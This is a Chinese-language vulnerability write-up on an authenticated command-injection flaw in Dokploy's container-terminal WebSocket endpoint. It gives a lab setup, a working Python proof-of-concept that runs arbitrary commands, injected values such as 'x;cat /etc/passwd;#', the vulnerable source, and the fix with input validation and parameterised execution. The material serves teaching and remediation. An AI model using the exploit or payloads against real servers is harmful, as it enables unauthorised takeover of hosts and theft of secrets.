Dokploy 命令注入漏洞分析 CVE-2026-24841
字数 1315
更新时间 2026-02-06 03:39:33

Dokploy 命令注入漏洞分析(CVE-2026-24841)教学文档

漏洞概述

漏洞名称:Dokploy 命令注入漏洞
CVE编号:CVE-2026-24841
影响版本:Dokploy v0.26.5及之前版本
漏洞等级:高危
漏洞类型:命令注入
攻击复杂度:需要认证(但可注册普通用户)

漏洞背景

Dokploy简介

Dokploy是一个开源的自托管平台即服务(PaaS),作为Vercel、Heroku和Netlify的替代方案,提供容器管理和部署能力。

漏洞位置

  • 受影响端点/docker-container-terminal WebSocket端点
  • 漏洞参数containerIdactiveWay参数
  • 技术根源:用户输入未经验证直接拼接至shell命令

环境搭建

Docker Compose配置

version: '3.8'
services:
  postgres:
    image: postgres:15-alpine
    container_name: dokploy-postgres
    environment:
      POSTGRES_USER: dokploy
      POSTGRES_PASSWORD: dokploy123
      POSTGRES_DB: dokploy
    volumes:
      - postgresvar/lib/postgresql/data
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U dokploy"]
      interval: 5s
      timeout: 5s
      retries: 5

  redis:
    image: redis:7-alpine
    container_name: dokploy-redis
    volumes:
      - redisdata
    healthcheck:
      test: ["CMD", "redis-cli", "ping"]
      interval: 5s
      timeout: 3s
      retries: 5

  dokploy:
    image: dokploy/dokploy:v0.26.5
    container_name: dokploy-vuln-test
    ports:
      - "3001:3000"
    environment:
      DATABASE_URL: "postgresql://dokploy:dokploy123@postgres:5432/dokploy"
      REDIS_URL: "redis://redis:6379"
      NODE_ENV: production
    volumes:
      - /var/run/docker.sock:/var/run/docker.sock
      - dokployapp/data
    depends_on:
      postgres:
        condition: service_healthy
      redis:
        condition: service_healthy
    restart: unless-stopped

volumes:
  postgres_data:
  redis_data:
  dokploy```

### 环境验证
```bash
curl -I http://localhost:3001

漏洞复现

攻击前提条件

  • 获取有效会话Cookie(可通过注册普通用户获得)
  • 目标运行Dokploy v0.26.5版本

PoC利用代码

#!/usr/bin/env python3
"""
Dokploy Command Injection PoC (CVE-2026-24841)
Authenticated RCE via WebSocket

Usage:
 python3 dokploy-poc.py <target> <cookie> <cmd>

Examples:
 python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" whoami
 python3 dokploy-poc.py http://localhost:3000 "cookie=xxx" "ls -la /root"
"""

import sys, asyncio
from urllib.parse import quote

try:
    import websockets
except ImportError:
    sys.exit("pip install websockets")

async def exploit(target, cookie, cmd):
    payload = f"x;{cmd};#"
    uri = f"{target.replace('http','ws')}/docker-container-terminal?containerId={quote(payload)}&activeWay=sh"
    out = ""
    
    try:
        async with websockets.connect(uri, additional_headers={"Cookie": cookie}) as ws:
            while True:
                try:
                    out += await asyncio.wait_for(ws.recv(), timeout=2)
                except asyncio.TimeoutError:
                    break
    except Exception as e:
        return f"Error: {e}"
    
    # 清理docker错误输出
    lines = out.split('\n')
    return '\n'.join([line for line in lines if 'error' not in line.lower()])

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python3 dokploy-poc.py <target> <cookie> <cmd>")
        sys.exit(1)
    
    target, cookie, cmd = sys.argv[1], sys.argv[2], sys.argv[3]
    result = asyncio.run(exploit(target, cookie, cmd))
    print(result)

攻击向量示例

payload构造

containerId = "x;whoami;#"
activeWay = "sh"

生成的命令

docker exec -it -w / x;whoami;# sh

命令解释

  1. docker exec -it -w / x(执行失败,容器x不存在)
  2. whoami(成功执行,返回当前用户)
  3. # sh(被注释忽略)

漏洞分析

WebSocket连接建立

文件位置apps/dokploy/server/wss/docker-container-terminal.ts

wssTerm.on("connection", async (ws, req) => {
    const url = new URL(req.url || "", `http://${req.headers.host}`);
    const containerId = url.searchParams.get("containerId");
    const activeWay = url.searchParams.get("activeWay");
    const serverId = url.searchParams.get("serverId");
    
    const { user, session } = await validateRequest(req);
    
    if (!containerId) {
        ws.close(4000, "containerId no provided");
        return;
    }
    
    if (!user || !session) {
        ws.close();
        return;
    }
    // 继续处理...
});

问题分析

  • 进行了认证检查但允许普通用户访问
  • containerIdactiveWay仅检查存在性,未进行安全验证

SSH命令注入场景

远程服务器模式

if (serverId) {
    const server = await findServerById(serverId);
    if (!server.sshKeyId)
        throw new Error("No SSH key available for this server");
    
    const conn = new Client();
    conn.once("ready", () => {
        conn.exec(
            `docker exec -it -w / ${containerId} ${activeWay}`,  // 漏洞点
            { pty: true },
            (err, stream) => {
                // 处理流
            }
        );
    }).connect({
        host: server.ipAddress,
        port: server.port,
        username: server.username,
        privateKey: server.sshKey?.privateKey,
    });
}

本地服务器命令注入

文件位置apps/dokploy/server/wss/docker-container-terminal.ts

// 获取shell类型
const shell = getShell();  // 返回"bash"、"zsh"或"powershell"

// 存在漏洞的代码
const ptyProcess = spawn(
    shell,
    ["-c", `docker exec -it -w / ${containerId} ${activeWay}`],  // 命令注入点
    {},
);

shell检测函数

export const getShell = () => {
    switch (os.platform()) {
        case "win32": return "powershell.exe";
        case "darwin": return "zsh";
        default: return "bash";
    }
};

攻击效果

/bin/bash -c "docker exec -it -w / x;cat /etc/passwd;# sh"
  1. docker exec -it -w / x(执行失败)
  2. cat /etc/passwd(成功执行,读取系统密码文件)
  3. # sh(被注释忽略)

漏洞修复方案

修复Commit

https://github.com/Dokploy/dokploy/commit/6fdb2e4a21f420b0e65e8721145ba8429d7d5749

三层防御机制

第一层:输入验证函数

文件apps/dokploy/server/wss/utils.ts

/**
 * 验证容器ID格式
 * 支持:完整ID(64位十六进制)、短ID(12位十六进制)、容器名称
 */
export const isValidContainerId = (id: string): boolean => {
    // 匹配十六进制ID(12-64位)
    const hexPattern = /^[a-f0-9]{12,64}$/i;
    // 匹配容器名称(字母数字开头,可含下划线、点、横线,最长128字符)
    const namePattern = /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/;
    return hexPattern.test(id) || (namePattern.test(id) && id.length <= 128);
};

/**
 * 验证shell类型(白名单方式)
 */
export const isValidShell = (shell: string): boolean => {
    const allowedShells = [
        "sh", "bash", "zsh", "ash",
        "/bin/sh", "/bin/bash", "/bin/zsh", "/bin/ash",
    ];
    return allowedShells.includes(shell);
};

第二层:参数使用前验证

import { isValidContainerId, isValidShell } from "./utils";

wssTerm.on("connection", async (ws, req) => {
    const url = new URL(req.url || "", `http://${req.headers.host}`);
    const containerId = url.searchParams.get("containerId");
    const activeWay = url.searchParams.get("activeWay");
    
    if (!containerId) {
        ws.close(4000, "containerId not provided");
        return;
    }
    
    // 安全:验证containerId防止命令注入
    if (!isValidContainerId(containerId)) {
        ws.close(4000, "Invalid container ID format");
        return;
    }
    
    // 安全:验证shell防止命令注入
    if (activeWay && !isValidShell(activeWay)) {
        ws.close(4000, "Invalid shell specified");
        return;
    }
    
    // 设置默认shell
    const shell = activeWay || "sh";
    // 继续处理...
});

第三层:避免Shell解释

本地场景修复

// 修复前(存在漏洞)
const ptyProcess = spawn(
    shell,
    ["-c", `docker exec -it -w / ${containerId} ${activeWay}`],
    {},
);

// 修复后(安全)
const ptyProcess = spawn(
    "docker",
    ["exec", "-it", "-w", "/", containerId, shell],  // 参数化传递
    {},
);

远程SSH场景修复

// 修复后(安全)
const dockerCommand = [
    "docker", "exec", "-it", "-w", "/", containerId, shell
].join(" ");

conn.exec(dockerCommand, { pty: true }, (err, stream) => {
    // 处理流
});

防御逻辑总结

用户输入
  ↓
【第1层】正则表达式验证
  ├─ isValidContainerId: /^[a-f0-9]{12,64}$/i
  └─ isValidShell: 白名单验证
  ↓ 验证失败 → 拒绝连接
  ↓ 验证通过
【第2层】参数化命令执行
  ├─ 本地:spawn("docker", ["exec", "-it", "-w", "/", containerId, shell])
  └─ 远程:已验证参数通过join(" ")拼接
  ↓
【第3层】避免shell解释器
  └─ 参数作为数组传递,不经过bash -c
  ↓
✅ 安全执行

安全建议

  1. 输入验证:对所有用户输入实施严格的白名单验证
  2. 参数化执行:避免使用shell命令拼接,使用参数化执行方式
  3. 最小权限:Web服务应以最小必要权限运行
  4. 安全审计:定期进行代码安全审计和渗透测试
  5. 依赖更新:及时更新到安全版本(v0.26.6+)

影响评估

攻击后果

  • 完全接管Dokploy服务器
  • 窃取数据库密码等敏感信息
  • 容器逃逸至宿主机
  • 横向移动至内网其他系统

利用条件

  • 需要有效的用户会话(但可注册普通用户)
  • 目标运行存在漏洞的版本
 全屏